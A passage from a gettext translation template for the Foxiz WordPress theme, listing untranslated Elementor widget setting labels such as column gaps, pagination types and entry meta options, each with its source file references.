elementor/list-box-1.php:693 #: elementor/list-box-2.php:693 elementor/list-small-1.php:552 #: elementor/list-small-2.php:620 elementor/list-small-3.php:592 #: elementor/overlay-1.php:557 elementor/overlay-2.php:661 msgid "Columns on Mobile" msgstr "" #: elementor/categories-1.php:267 elementor/categories-2.php:248 #: elementor/categories-3.php:266 elementor/categories-4.php:238 #: elementor/categories-5.php:248 elementor/classic-1.php:678 #: elementor/grid-1.php:715 elementor/grid-2.php:714 #: elementor/grid-box-1.php:714 elementor/grid-box-2.php:714 #: elementor/grid-small-1.php:723 elementor/list-1.php:704 #: elementor/list-2.php:696 elementor/list-box-1.php:703 #: elementor/list-box-2.php:703 elementor/list-small-1.php:562 #: elementor/list-small-2.php:630 elementor/list-small-3.php:602 #: elementor/overlay-1.php:567 elementor/overlay-2.php:671 msgid "Columns Gap" msgstr "" #: elementor/categories-1.php:276 elementor/categories-2.php:257 #: elementor/categories-3.php:275 elementor/categories-4.php:247 #: elementor/categories-5.php:257 elementor/classic-1.php:687 #: elementor/grid-1.php:724 elementor/grid-2.php:723 #: elementor/grid-box-1.php:723 elementor/grid-box-2.php:723 #: elementor/grid-small-1.php:732 elementor/list-1.php:713 #: elementor/list-2.php:705 elementor/list-box-1.php:712 #: elementor/list-box-2.php:712 elementor/list-small-1.php:571 #: elementor/list-small-2.php:639 elementor/list-small-3.php:611 #: elementor/overlay-1.php:576 elementor/overlay-2.php:680 msgid "1/2 Custom Gap Value" msgstr "" #: elementor/categories-1.php:289 elementor/categories-2.php:270 #: elementor/categories-3.php:288 elementor/categories-4.php:260 #: elementor/categories-5.php:270 elementor/classic-1.php:749 #: elementor/grid-1.php:778 elementor/grid-2.php:776 #: elementor/grid-box-1.php:820 elementor/grid-box-2.php:776 #: elementor/grid-small-1.php:785 elementor/list-1.php:775 #: elementor/list-2.php:767 elementor/list-box-1.php:818 #: elementor/list-box-2.php:818 elementor/list-small-1.php:653 #: elementor/list-small-2.php:701 elementor/list-small-3.php:673 #: elementor/overlay-1.php:589 elementor/overlay-2.php:693 msgid "Column Border" msgstr "" #: elementor/categories-1.php:305 elementor/categories-2.php:286 #: elementor/categories-3.php:304 elementor/categories-4.php:276 #: elementor/categories-5.php:286 elementor/classic-1.php:715 #: elementor/grid-1.php:753 elementor/grid-2.php:751 #: elementor/grid-box-1.php:795 elementor/grid-box-2.php:751 #: elementor/grid-small-1.php:760 elementor/hierarchical-1.php:576 #: elementor/hierarchical-2.php:530 elementor/hierarchical-3.php:535 #: elementor/list-1.php:741 elementor/list-2.php:733 #: elementor/list-box-1.php:784 elementor/list-box-2.php:784 #: elementor/list-small-1.php:628 elementor/list-small-2.php:667 #: elementor/list-small-3.php:639 elementor/overlay-1.php:614 #: elementor/overlay-2.php:718 msgid "Custom Bottom Margin" msgstr "" #: elementor/categories-1.php:307 elementor/categories-2.php:288 #: elementor/categories-3.php:306 elementor/categories-4.php:278 #: elementor/categories-5.php:288 msgid "Input custom bottom margin values (px) between category items." msgstr "" #: elementor/categories-2.php:27 msgid "Foxiz - Category List 2" msgstr "" #: elementor/categories-2.php:152 elementor/categories-3.php:162 msgid "Colorful Gradient" msgstr "" #: elementor/categories-2.php:154 elementor/categories-3.php:164 msgid "Enable or disable overlay color gradient style for this block." msgstr "" #: elementor/categories-3.php:27 msgid "Foxiz - Category List 3" msgstr "" #: elementor/categories-3.php:132 msgid "Category Description" msgstr "" #: elementor/categories-3.php:135 msgid "Enable or disable the category description." msgstr "" #: elementor/categories-4.php:27 msgid "Foxiz - Category List 4" msgstr "" #: elementor/categories-5.php:27 msgid "Foxiz - Category List 5" msgstr "" #: elementor/categories-5.php:102 msgid "Max Featured Width" msgstr "" #: elementor/categories-5.php:104 msgid "Input a max width value for the featured image." msgstr "" #: elementor/classic-1.php:22 msgid "Foxiz - Classic (Standard)" msgstr "" #: elementor/classic-1.php:181 elementor/grid-1.php:181 #: elementor/grid-2.php:180 elementor/grid-box-1.php:180 #: elementor/grid-box-2.php:180 elementor/grid-small-1.php:180 #: elementor/list-1.php:186 elementor/list-2.php:179 #: elementor/list-box-1.php:186 elementor/list-box-2.php:186 #: elementor/overlay-2.php:184 msgid "Archive Builder - Global Query" msgstr "" #: elementor/classic-1.php:244 elementor/grid-1.php:244 #: elementor/grid-2.php:243 elementor/grid-box-1.php:243 #: elementor/grid-box-2.php:243 elementor/grid-small-1.php:243 #: elementor/list-1.php:249 elementor/list-2.php:242 #: elementor/list-box-1.php:249 elementor/list-box-2.php:249 #: elementor/overlay-2.php:247 msgid "Query Mode" msgstr "" #: elementor/classic-1.php:248 elementor/grid-1.php:248 #: elementor/grid-2.php:247 elementor/grid-box-1.php:247 #: elementor/grid-box-2.php:247 elementor/grid-small-1.php:247 #: elementor/list-1.php:253 elementor/list-2.php:246 #: elementor/list-box-1.php:253 elementor/list-box-2.php:253 #: elementor/overlay-2.php:251 msgid "Use Custom Query (default)" msgstr "" #: elementor/classic-1.php:249 elementor/grid-1.php:249 #: elementor/grid-2.php:248 elementor/grid-box-1.php:248 #: elementor/grid-box-2.php:248 elementor/grid-small-1.php:248 #: elementor/list-1.php:254 elementor/list-2.php:247 #: elementor/list-box-1.php:254 elementor/list-box-2.php:254 #: elementor/overlay-2.php:252 msgid "Use WP Global Query" msgstr "" #: elementor/classic-1.php:257 elementor/grid-1.php:257 #: elementor/grid-2.php:256 elementor/grid-box-1.php:256 #: elementor/grid-box-2.php:256 elementor/grid-small-1.php:256 #: elementor/list-1.php:262 elementor/list-2.php:255 #: elementor/list-box-1.php:262 elementor/list-box-2.php:262 #: elementor/overlay-2.php:260 msgid "WP Global Query Pagination" msgstr "" #: elementor/classic-1.php:268 elementor/grid-1.php:268 #: elementor/grid-2.php:267 elementor/grid-box-1.php:267 #: elementor/grid-box-2.php:267 elementor/grid-small-1.php:267 #: elementor/hierarchical-1.php:181 elementor/hierarchical-2.php:183 #: elementor/list-1.php:273 elementor/list-2.php:266 #: elementor/list-box-1.php:273 elementor/list-box-2.php:273 #: elementor/list-small-1.php:183 elementor/list-small-2.php:183 #: elementor/list-small-3.php:183 elementor/overlay-2.php:271 msgid "Ajax Pagination" msgstr "" #: elementor/classic-1.php:275 elementor/grid-1.php:275 #: elementor/grid-2.php:274 elementor/grid-box-1.php:274 #: elementor/grid-box-2.php:274 elementor/grid-small-1.php:274 #: elementor/hierarchical-1.php:188 elementor/hierarchical-2.php:190 #: elementor/list-1.php:280 elementor/list-2.php:273 #: elementor/list-box-1.php:280 elementor/list-box-2.php:280 #: elementor/list-small-1.php:190 elementor/list-small-2.php:190 #: elementor/list-small-3.php:190 elementor/overlay-2.php:278 msgid "Pagination Type" msgstr "" #: elementor/classic-1.php:329 elementor/grid-1.php:329 #: elementor/grid-2.php:328 elementor/grid-box-1.php:328 #: elementor/grid-box-2.php:328 elementor/grid-small-1.php:337 #: elementor/hierarchical-1.php:250 elementor/hierarchical-2.php:232 #: elementor/hierarchical-3.php:237 elementor/list-1.php:362 #: elementor/list-2.php:347 elementor/list-box-1.php:362 #: elementor/list-box-2.php:362 elementor/list-small-1.php:224 #: elementor/list-small-2.php:264 elementor/list-small-3.php:254 #: elementor/overlay-1.php:229 elementor/overlay-2.php:333 msgid "Entry Category" msgstr "" #: elementor/classic-1.php:339 elementor/grid-1.php:339 #: elementor/grid-2.php:338 elementor/grid-box-1.php:338 #: elementor/grid-box-2.php:338 elementor/grid-small-1.php:347 #: elementor/list-1.php:372 elementor/list-2.php:357 #: elementor/list-box-1.php:372 elementor/list-box-2.php:372 msgid "Entry Meta" msgstr "" #: elementor/classic-1.php:349 elementor/grid-1.php:349 #: elementor/grid-2.php:348 elementor/grid-box-1.php:348 #: elementor/grid-box-2.php:348 elementor/grid-small-1.php:357 #: elementor/hierarchical-1.php:260 elementor/hierarchical-2.php:242 #: elementor/hierarchical-3.php:247 elementor/list-1.php:382 #: elementor/list-2.php:367 elementor/list-box-1.php:382 #: elementor/list-box-2.php:382 elementor/list-small-1.php:234 #: elementor/list-small-2.php:274 elementor/list-small-3.php:264 #: elementor/overlay-1.php:239 elementor/overlay-2.php:343 #: widgets/sb-post.php:155 msgid "Entry Meta Tags" msgstr "" #: elementor/classic-1.php:361 elementor/grid-1.php:361 #: elementor/grid-2.php:360 elementor/grid-box-1.php:360 #: elementor/grid-box-2.php:360 elementor/grid-small-1.php:369 #: elementor/hierarchical-1.php:282 elementor/hierarchical-2.php:254 #: elementor/hierarchical-3.php:269 elementor/list-1.php:394 #: elementor/list-2.php:389 elementor/list-box-1.php:394 #: elementor/list-box-2.php:394 elementor/list-small-1.php:246 #: elementor/list-small-2.php:296 elementor/list-small-3.php:286 #: elementor/overlay-1.php:261 elementor/overlay-2.php:365 msgid "Review Meta" msgstr "" #: elementor/classic-1.php:371 elementor/grid-1.php:371 #: elementor/grid-2.php:370 elementor/grid-box-1.php:370 #: elementor/grid-box-2.php:370 elementor/grid-small-1.php:379 #: elementor/hierarchical-1.php:292 elementor/hierarchical-2.php:264 #: elementor/hierarchical-3.php:279 elementor/list-1.php:404 #: elementor/list-2.php:399 elementor/list-box-1.php:404 #: elementor/list-box-2.php:404 elementor/list-small-1.php:256 #: elementor/list-small-2.php:306 elementor/list-small-3.php:296 #: elementor/overlay-1.php:271 elementor/overlay-2.php:375 msgid "Review Meta Description" msgstr "" #: elementor/classic-1.php:381 elementor/grid-1.php:381 #: elementor/grid-2.php:380 elementor/grid-box-1.php:380 #: elementor/grid-box-2.php:380 elementor/grid-small-1.php:389 #: elementor/hierarchical-1.php:272 elementor/hierarchical-3.php:259 #: elementor/list-1.php:414 elementor/list-2.php:379 #: elementor/list-box-1.php:414 elementor/list-box-2.php:414 #: elementor/list-small-2.php:286 elementor/list-small-3.php:276 #: elementor/overlay-1.php:251 elementor/overlay-2.php:355 msgid "Post Format Icon" msgstr "" #: elementor/classic-1.php:391 elementor/grid-1.php:391 #: elementor/grid-2.php:390 elementor/grid-box-1.php:390 #: elementor/grid-box-2.php:390 elementor/grid-small-1.php:399 #: elementor/hierarchical-1.php:302 elementor/hierarchical-2.php:274 #: elementor/hierarchical-3.php:289 elementor/list-1.php:424 #: elementor/list-2.php:409 elementor/list-box-1.php:424 #: elementor/list-box-2.php:424 elementor/list-small-1.php:266 #: elementor/list-small-2.php:316 elementor/list-small-3.php:306 #: elementor/overlay-1.php:281 elementor/overlay-2.php:385 msgid "Bookmark Icon" msgstr "" #: elementor/classic-1.php:401 elementor/grid-1.php:401 #: elementor/grid-2.php:400 elementor/grid-box-1.php:400 #: elementor/grid-box-2.php:400 elementor/grid-small-1.php:409 #: elementor/list-1.php:434 elementor/list-2.php:419 #: elementor/list-box-1.php:434 elementor/list-box-2.php:434 msgid "Excerpt" msgstr "" #: elementor/classic-1.php:411 elementor/grid-1.php:411 #: elementor/grid-2.php:410 elementor/grid-box-1.php:410 #: elementor/grid-box-2.php:410 elementor/grid-small-1.php:419 #: elementor/hierarchical-1.php:312 elementor/hierarchical-2.php:284 #: elementor/hierarchical-3.php:299 elementor/list-1.php:444 #: elementor/list-2.php:429 elementor/list-box-1.php:444 #: elementor/list-box-2.php:444 elementor/list-small-1.php:276 #: elementor/list-small-2.php:326 elementor/list-small-3.php:316 #: elementor/overlay-1.php:291 elementor/overlay-2.php:395 msgid "Excerpt - Max Length" msgstr "" #: elementor/classic-1.php:420 elementor/grid-1.php:420 #: elementor/grid-2.php:419 elementor/grid-box-1.php:419 #: elementor/grid-box-2.php:419 elementor/grid-small-1.php:428 #: elementor/hierarchical-1.php:321 elementor/hierarchical-2.php:293 #: elementor/hierarchical-3.php:308 elementor/list-1.php:453 #: elementor/list-2.php:438 elementor/list-box-1.php:453 #: elementor/list-box-2.php:453 elementor/list-small-1.php:285 #: elementor/list-small-2.php:335 elementor/list-small-3.php:325 #: elementor/overlay-1.php:300 elementor/overlay-2.php:404 msgid "Excerpt - Source" msgstr "" #: elementor/classic-1.php:430 elementor/grid-1.php:430 #: elementor/grid-2.php:429 elementor/grid-box-1.php:429 #: elementor/grid-box-2.php:429 elementor/grid-small-1.php:438 #: elementor/hierarchical-1.php:331 elementor/hierarchical-2.php:303 #: elementor/hierarchical-3.php:318 elementor/list-1.php:463 #: elementor/list-2.php:448 elementor/list-box-1.php:463 #: elementor/list-box-2.php:463 elementor/list-small-1.php:295 #: elementor/list-small-2.php:345 elementor/list-small-3.php:335 #: elementor/overlay-1.php:310 elementor/overlay-2.php:414 msgid "Read More Button" msgstr "" #: elementor/classic-1.php:440 elementor/grid-1.php:440 #: elementor/grid-2.php:439 elementor/grid-box-1.php:439 #: elementor/grid-box-2.php:439 elementor/grid-small-1.php:448 #: elementor/hierarchical-1.php:341 elementor/hierarchical-2.php:313 #: elementor/hierarchical-3.php:328 elementor/list-1.php:473 #: elementor/list-2.php:458 elementor/list-box-1.php:473 #: elementor/list-box-2.php:473 elementor/list-small-1.php:305 #: elementor/list-small-2.php:355 elementor/list-small-3.php:345 #: elementor/overlay-1.php:320 elementor/overlay-2.php:424 msgid "Sponsored Meta" msgstr "" #: elementor/classic-1.php:466 elementor/grid-1.php:466 #: elementor/grid-2.php:465 elementor/grid-box-1.php:465 #: elementor/grid-box-2.php:465 elementor/grid-small-1.php:474 #: elementor/hierarchical-1.php:377 elementor/hierarchical-2.php:349 #: elementor/hierarchical-3.php:364 elementor/list-1.php:500 #: elementor/list-2.php:484 elementor/list-box-1.php:499 #: elementor/list-box-2.php:499 elementor/list-small-1.php:331 #: elementor/list-small-2.php:381 elementor/list-small-3.php:371 #: elementor/overlay-1.php:346 elementor/overlay-2.php:450 msgid "Entry Category Size" msgstr "" #: elementor/classic-1.php:484 elementor/grid-1.php:484 #: elementor/grid-2.php:483 elementor/grid-box-1.php:483 #: elementor/grid-box-2.php:483 elementor/grid-small-1.php:492 #: elementor/hierarchical-1.php:404 elementor/hierarchical-2.php:376 #: elementor/hierarchical-3.php:391 elementor/list-1.php:518 #: elementor/list-2.php:502 elementor/list-box-1.php:517 #: elementor/list-box-2.php:517 elementor/list-small-1.php:349 #: elementor/list-small-2.php:399 elementor/list-small-3.php:389 #: elementor/overlay-1.php:364 elementor/overlay-2.php:468 msgid "Entry Format Size" msgstr "" #: elementor/classic-1.php:493 elementor/grid-1.php:493 #: elementor/grid-2.php:492 elementor/grid-box-1.php:492 #: elementor/grid-box-2.php:492 elementor/grid-small-1.php:501 #: elementor/hierarchical-1.php:413 elementor/hierarchical-2.php:385 #: elementor/hierarchical-3.php:400 elementor/list-1.php:527 #: elementor/list-2.php:511 elementor/list-box-1.php:526 #: elementor/list-box-2.php:526 elementor/list-small-1.php:358 #: elementor/list-small-2.php:408 elementor/list-small-3.php:398 #: elementor/overlay-1.php:373 elementor/overlay-2.php:477 msgid "Entry Excerpt Size" msgstr "" #: elementor/classic-1.php:503 elementor/grid-1.php:503 #: elementor/grid-2.php:502 elementor/grid-box-1.php:502 #: elementor/grid-box-2.php:502 elementor/grid-small-1.php:511 #: elementor/hierarchical-1.php:423 elementor/hierarchical-2.php:395 #: elementor/hierarchical-3.php:410 elementor/list-1.php:537 #: elementor/list-2.php:521 elementor/list-box-1.php:536 #: elementor/list-box-2.php:536 elementor/list-small-1.php:368 #: elementor/list-small-2.php:418 elementor/list-small-3.php:408 #: elementor/overlay-1.php:383 elementor/overlay-2.php:487 msgid "Responsive - Hide Elements" msgstr "" #: elementor/classic-1.php:510 elementor/grid-1.php:510 #: elementor/grid-2.php:509 elementor/grid-box-1.php:509 #: elementor/grid-box-2.php:509 elementor/grid-small-1.php:518 #: elementor/hierarchical-1.php:430 elementor/hierarchical-2.php:402 #: elementor/hierarchical-3.php:417 elementor/list-1.php:544 #: elementor/list-2.php:528 elementor/list-box-1.php:543 #: elementor/list-box-2.php:543 elementor/list-small-1.php:375 #: elementor/list-small-2.php:425 elementor/list-small-3.php:415 #: elementor/overlay-1.php:390 elementor/overlay-2.php:494 msgid "Hide Entry Category" msgstr "" #: elementor/classic-1.php:520 elementor/grid-1.php:520 #: elementor/grid-2.php:519 elementor/grid-box-1.php:519 #: elementor/grid-box-2.php:519 elementor/grid-small-1.php:528 #: elementor/hierarchical-1.php:440 elementor/hierarchical-2.php:412 #: elementor/hierarchical-3.php:427 elementor/list-1.php:554 #: elementor/list-2.php:538 elementor/list-box-1.php:553 #: elementor/list-box-2.php:553 elementor/list-small-1.php:385 #: elementor/list-small-2.php:435 elementor/list-small-3.php:425 #: elementor/overlay-1.php:400 elementor/overlay-2.php:504 msgid "Tablet - Hide Entry Meta" msgstr "" #: elementor/classic-1.php:525 elementor/classic-1.php:538 #: elementor/grid-1.php:525 elementor/grid-1.php:538 elementor/grid-2.php:524 #: elementor/grid-2.php:537 elementor/grid-box-1.php:524 #: elementor/grid-box-1.php:537 elementor/grid-box-2.php:524 #: elementor/grid-box-2.php:537 elementor/grid-small-1.php:533 #: elementor/grid-small-1.php:546 elementor/hierarchical-1.php:445 #: elementor/hierarchical-1.php:458 elementor/hierarchical-2.php:417 #: elementor/hierarchical-2.php:430 elementor/hierarchical-3.php:432 #: elementor/hierarchical-3.php:445 elementor/list-1.php:559 #: elementor/list-1.php:572 elementor/list-2.php:543 elementor/list-2.php:556 #: elementor/list-box-1.php:558 elementor/list-box-1.php:571 #: elementor/list-box-2.php:558 elementor/list-box-2.php:571 #: elementor/list-small-1.php:390 elementor/list-small-1.php:403 #: elementor/list-small-2.php:440 elementor/list-small-2.php:453 #: elementor/list-small-3.php:430 elementor/list-small-3.php:443 #: elementor/overlay-1.php:405 elementor/overlay-1.php:418 #: elementor/overlay-2.php:509 elementor/overlay-2.php:522 msgid "avatar, author" msgstr "" #: elementor/classic-1.php:533 elementor/grid-1.php:533 #: elementor/grid-2.php:532 elementor/grid-box-1.php:532 #: elementor/grid-box-2.php:532 elementor/grid-small-1.php:541 #: elementor/hierarchical-1.php:453 elementor/hierarchical-2.php:425 #: elementor/hierarchical-3.php:440 elementor/list-1.php:567 #: elementor/list-2.php:551 elementor/list-box-1.php:566 #: elementor/list-box-2.php:566 elementor/list-small-1.php:398 #: elementor/list-small-2.php:448 elementor/list-small-3.php:438 #: elementor/overlay-1.php:413 elementor/overlay-2.php:517 msgid "Mobile - Hide Entry Meta" msgstr "" #: elementor/classic-1.php:546 elementor/grid-1.php:546 #: elementor/grid-2.php:545 elementor/grid-box-1.php:545 #: elementor/grid-box-2.php:545 elementor/grid-small-1.php:554 #: elementor/hierarchical-1.php:466 elementor/hierarchical-2.php:438 #: elementor/hierarchical-3.php:453 elementor/list-1.php:580 #: elementor/list-2.php:564 elementor/list-box-1.php:579 #: elementor/list-box-2.php:579 elementor/list-small-1.php:411 #: elementor/list-small-2.php:461 elementor/list-small-3.php:451 #: elementor/overlay-1.php:426 elementor/overlay-2.php:530 msgid "Hide Excerpt" msgstr "" #: elementor/classic-1.php:625 elementor/grid-1.php:662 #: elementor/grid-2.php:661 elementor/grid-box-1.php:661 #: elementor/grid-box-2.php:661 elementor/grid-small-1.php:670 #: elementor/hierarchical-1.php:553 elementor/hierarchical-2.php:507 #: elementor/hierarchical-3.php:512 elementor/list-1.php:659 #: elementor/list-2.php:643 elementor/list-box-1.php:658 #: elementor/list-box-2.php:658 elementor/list-small-1.php:509 #: elementor/list-small-2.php:577 elementor/list-small-3.php:549 #: elementor/overlay-1.php:514 elementor/overlay-2.php:618 msgid "Entry Category Font" msgstr "" #: elementor/classic-1.php:641 elementor/grid-1.php:678 #: elementor/grid-2.php:677 elementor/grid-box-1.php:677 #: elementor/grid-box-2.php:677 elementor/grid-small-1.php:686 #: elementor/overlay-2.php:634 msgid "" "This layout is best suited for putting to all sections, depending on column " "settings." msgstr "" #: elementor/classic-1.php:706 elementor/grid-1.php:744 #: elementor/grid-2.php:742 elementor/grid-box-1.php:786 #: elementor/grid-box-2.php:742 elementor/grid-small-1.php:751 #: elementor/hierarchical-1.php:567 elementor/hierarchical-2.php:521 #: elementor/hierarchical-3.php:526 elementor/list-1.php:732 #: elementor/list-2.php:724 elementor/list-box-1.php:775 #: elementor/list-box-2.php:775 elementor/list-small-1.php:619 #: elementor/list-small-2.php:658 elementor/list-small-3.php:630 #: elementor/overlay-1.php:605 elementor/overlay-2.php:709 msgid "Custom Element Spacing" msgstr "" #: elementor/classic-1.php:724 msgid "Content Max Width" msgstr "" #: elementor/classic-1.php:726 msgid "Input a max width value (in px) for the content of this layout." msgstr "" #: elementor/classic-1.php:734 elementor/control.php:250 #: elementor/control.php:517 elementor/grid-1.php:763 elementor/grid-2.php:761 #: elementor/grid-box-1.php:805 elementor/grid-box-2.php:761 #: elementor/grid-small-1.php:770 elementor/list-1.php:760 #: elementor/list-2.php:752 elementor/list-box-1.php:803 #: elementor/list-box-2.php:803 elementor/list-small-1.php:638 #: elementor/list-small-2.php:686 elementor/list-small-3.php:658 #: elementor/plan.php:153 membership/options.php:173 msgid "Border" msgstr "" #: elementor/classic-1.php:742 elementor/grid-1.php:771 #: elementor/grid-2.php:769 elementor/grid-box-1.php:813 #: elementor/grid-box-2.php:769 elementor/grid-small-1.php:778 #: elementor/list-1.php:768 elementor/list-2.php:760 #: elementor/list-box-1.php:811 elementor/list-box-2.php:811 #: elementor/list-small-1.php:646 elementor/list-small-2.php:694 #: elementor/list-small-3.php:666 msgid "The settings below require all responsive column values to be set." msgstr "" #: elementor/classic-1.php:759 elementor/control.php:254 #: elementor/grid-1.php:788 elementor/grid-2.php:786 #: elementor/grid-box-1.php:830 elementor/grid-box-2.php:786 #: elementor/grid-small-1.php:795 elementor/list-1.php:785 #: elementor/list-2.php:777 elementor/list-box-1.php:828 #: elementor/list-box-2.php:828 elementor/list-small-1.php:663 #: elementor/list-small-2.php:711 elementor/list-small-3.php:683 msgid "Bottom Border" msgstr "" #: elementor/classic-1.php:769 elementor/grid-1.php:798 #: elementor/grid-2.php:796 elementor/grid-box-1.php:840 #: elementor/grid-box-2.php:796 elementor/grid-small-1.php:805 #: elementor/list-1.php:795 elementor/list-2.php:787 #: elementor/list-box-1.php:838 elementor/list-box-2.php:838 #: elementor/list-small-1.php:673 elementor/list-small-2.php:721 #: elementor/list-small-3.php:693 msgid "Last Bottom Border" msgstr "" #: elementor/classic-1.php:779 elementor/grid-1.php:808 #: elementor/grid-2.php:806 elementor/grid-box-1.php:850 #: elementor/grid-box-2.php:850 elementor/grid-small-1.php:815 #: elementor/list-1.php:805 elementor/list-2.php:797 #: elementor/list-box-1.php:848 elementor/list-box-2.php:848 #: elementor/list-small-2.php:731 elementor/overlay-1.php:633 #: elementor/overlay-2.php:737 msgid "Centering" msgstr "" #: elementor/classic-1.php:786 elementor/grid-1.php:815 #: elementor/grid-2.php:813 elementor/grid-box-1.php:857 #: elementor/grid-box-2.php:857 elementor/grid-small-1.php:822 #: elementor/list-1.php:812 elementor/list-2.php:804 #: elementor/list-box-1.php:855 elementor/list-box-2.php:855 #: elementor/overlay-1.php:640 elementor/overlay-2.php:744 msgid "Centering Content" msgstr "" #: elementor/control.php:16 elementor/control.php:21 elementor/control.php:281 #: elementor/control.php:287 elementor/control.php:329 #: elementor/navigation.php:89 elementor/search-icon.php:54 #: includes/helpers.php:223 msgid "Enable" msgstr "" #: elementor/control.php:17 elementor/control.php:22 elementor/control.php:226 #: elementor/control.php:257 elementor/control.php:271 #: elementor/control.php:283 elementor/control.php:289 #: elementor/control.php:310 elementor/control.php:331 #: elementor/control.php:500 includes/helpers.php:224 msgid "Disable" msgstr "" #: elementor/control.php:36 elementor/control.php:77 includes/helpers.php:415 msgid "-- All categories --" msgstr "" #: elementor/control.php:40 includes/helpers.php:419 msgid "Dynamic Query" msgstr "" #: elementor/control.php:118 widgets/sb-post.php:121 msgid "Latest Posts" msgstr "" #: elementor/control.php:119 widgets/sb-post.php:122 msgid "Last Updated" msgstr "" #: elementor/control.php:120 widgets/sb-post.php:123 msgid "Popular Comment" msgstr "" #: elementor/control.php:121 widgets/sb-post.php:124 msgid "Popular" msgstr "" #: elementor/control.php:122 widgets/sb-post.php:125 msgid "Popular Published last 30 Days" msgstr "" #: elementor/control.php:123 widgets/sb-post.php:126 msgid "Popular Published last 7 Days" msgstr "" #: elementor/control.php:124 widgets/sb-post.php:127 msgid "Top Review" msgstr "" #: elementor/control.php:125 widgets/sb-post.php:128 msgid "Latest Review" msgstr "" #: elementor/control.php:126 widgets/sb-post.php:129 msgid "Post Type" msgstr "" #: elementor/control.php:127 widgets/sb-post.php:130 msgid "Latest Sponsored" msgstr "" #: elementor/control.php:128 widgets/sb-post.php:131 msgid "Random" msgstr "" #: elementor/control.php:129 widgets/sb-post.php:132 msgid "Author" msgstr "" #: elementor/control.php:130 widgets/sb-post.php:133 msgid "Title DECS" msgstr "" #: elementor/control.php:131 widgets/sb-post.php:134 msgid "Title ACS" msgstr "" #: elementor/control.php:132 widgets/sb-post.php:135 msgid "by input IDs Data (Post IDs filter)" msgstr "" #: elementor/control.php:139 widgets/sb-post.php:94 msgid "-- All --" msgstr "" #: elementor/control.php:141 widgets/sb-post.php:96 msgid "Gallery" msgstr "" #: elementor/control.php:142 widgets/sb-post.php:97 msgid "Video" msgstr "" #: elementor/control.php:143 widgets/sb-post.php:98 msgid "Audio" msgstr "" #: elementor/control.php:155 msgid "--All Authors--" msgstr "" #: elementor/control.php:176 msgid "H1" msgstr "" #: elementor/control.php:177 msgid "H2" msgstr "" #: elementor/control.php:178 msgid "H3" msgstr "" #: elementor/control.php:179 msgid "H4" msgstr "" #: elementor/control.php:180 msgid "H5" msgstr "" #: elementor/control.php:181 msgid "H6" msgstr "" #: elementor/control.php:182 msgid "p tag" msgstr "" #: elementor/control.php:183 msgid "span" msgstr "" #: elementor/control.php:197 msgid "Custom Settings Below" msgstr "" #: elementor/control.php:204 msgid "Use Post Excerpt" msgstr "" #: elementor/control.php:205 msgid "Use Title Tagline" msgstr "" #: elementor/control.php:217 elementor/control.php:239 #: elementor/control.php:270 elementor/control.php:302 #: elementor/control.php:328 msgid "Default from Theme Option" msgstr "" #: elementor/control.php:218 elementor/control.php:240 msgid "Background 1" msgstr "" #: elementor/control.php:219 elementor/control.php:241 msgid "Background 1 (Big)" msgstr "" #: elementor/control.php:220 elementor/control.php:242 msgid "Background 2" msgstr "" #: elementor/control.php:221 elementor/control.php:243 msgid "Background 2 (Big)" msgstr "" #: elementor/control.php:222 elementor/control.php:244 msgid "Background 3" msgstr "" #: elementor/control.php:223 elementor/control.php:245 msgid "Background 3 (Big)" msgstr "" #: elementor/control.php:224 elementor/control.php:246 msgid "Background 4" msgstr "" #: elementor/control.php:225 elementor/control.php:247 msgid "Background 4 (Big)" msgstr "" #: elementor/control.php:248 msgid "Only Text" msgstr "" #: elementor/control.php:249 msgid "Only Text (Big)" msgstr "" #: elementor/control.php:251 msgid "Border (Big)" msgstr "" #: elementor/control.php:252 msgid "Bottom Dotted" msgstr "" #: elementor/control.php:253 msgid "Bottom Dotted (Big)" msgstr "" #: elementor/control.php:255 msgid "Bottom Border (Big)" msgstr "" #: elementor/control.php:256 msgid "Left Dot" msgstr "" #: elementor/control.php:272 msgid "Custom Below" msgstr "" #: elementor/control.php:282 elementor/control.php:288 msgid "Enable without Label" msgstr "" #: elementor/control.php:303 msgid "Bottom Right" msgstr "" #: elementor/control.php:304 msgid "Bottom Right (Big Icon) " msgstr "" #: elementor/control.php:305 elementor/control.php:571 #: elementor/control.php:577 msgid "Top" msgstr "" #: elementor/control.php:306 msgid "Top (Big Icon)" msgstr "" #: elementor/control.php:307 elementor/dark-toggle.php:74 #: elementor/font-resizer.php:82 elementor/login-icon.php:109 #: elementor/logo.php:108 elementor/menu.php:83 elementor/mini-cart.php:77 #: elementor/navigation.php:127 elementor/notification-icon.php:92 #: elementor/search-icon.php:108 elementor/social-list.php:99 #: widgets/sb-social-icon.php:87 msgid "Center" msgstr "" #: elementor/control.php:308 msgid "Center (Big Icon)" msgstr "" #: elementor/control.php:309 msgid "After Entry Category" msgstr "" #: elementor/control.php:330 msgid "Replace for Entry Meta" msgstr "" #: elementor/control.php:353 elementor/social-follower.php:335 msgid "1 Column" msgstr "" #: elementor/control.php:354 elementor/social-follower.php:336 msgid "2 Columns" msgstr "" #: elementor/control.php:355 elementor/social-follower.php:337 msgid "3 Columns" msgstr "" #: elementor/control.php:356 elementor/social-follower.php:338 msgid "4 Columns" msgstr "" #: elementor/control.php:357 elementor/social-follower.php:339 msgid "5 Columns" msgstr "" #: elementor/control.php:358 elementor/social-follower.php:340 msgid "6 Columns" msgstr "" #: elementor/control.php:359 elementor/social-follower.php:341 msgid "7 Columns" msgstr "" #: elementor/control.php:380 msgid "No Gap" msgstr "" #: elementor/control.php:381 msgid "10px" msgstr "" #: elementor/control.php:382 msgid "14px" msgstr "" #: elementor/control.php:383 msgid "20px" msgstr "" #: elementor/control.php:384 msgid "30px" msgstr "" #: elementor/control.php:385 msgid "40px" msgstr "" #: elementor/control.php:386 msgid "50px" msgstr "" #: elementor/control.php:387 msgid "60px" msgstr "" #: elementor/control.php:388 msgid "70px" msgstr "" #: elementor/control.php:389 msgid "Custom Value" msgstr "" #: elementor/control.php:402 elementor/control.php:504 #: elementor/control.php:525 elementor/navigation.php:88 #: elementor/search-icon.php:53 msgid "- Disable -" msgstr "" #: elementor/control.php:403 msgid "Next Prev" msgstr "" #: elementor/control.php:404 msgid "Show More" msgstr "" #: elementor/control.php:405 msgid "Infinite Scroll" msgstr "" #: elementor/control.php:423 msgid "Numeric" msgstr "" #: elementor/control.php:424 msgid "Simple" msgstr "" #: elementor/control.php:425 msgid "Show More (ajax)" msgstr "" #: elementor/control.php:426 msgid "Infinite Scroll (ajax)" msgstr "" #: elementor/control.php:457 elementor/dark-toggle.php:70 #: elementor/font-resizer.php:78 elementor/login-icon.php:105 #: elementor/logo.php:104 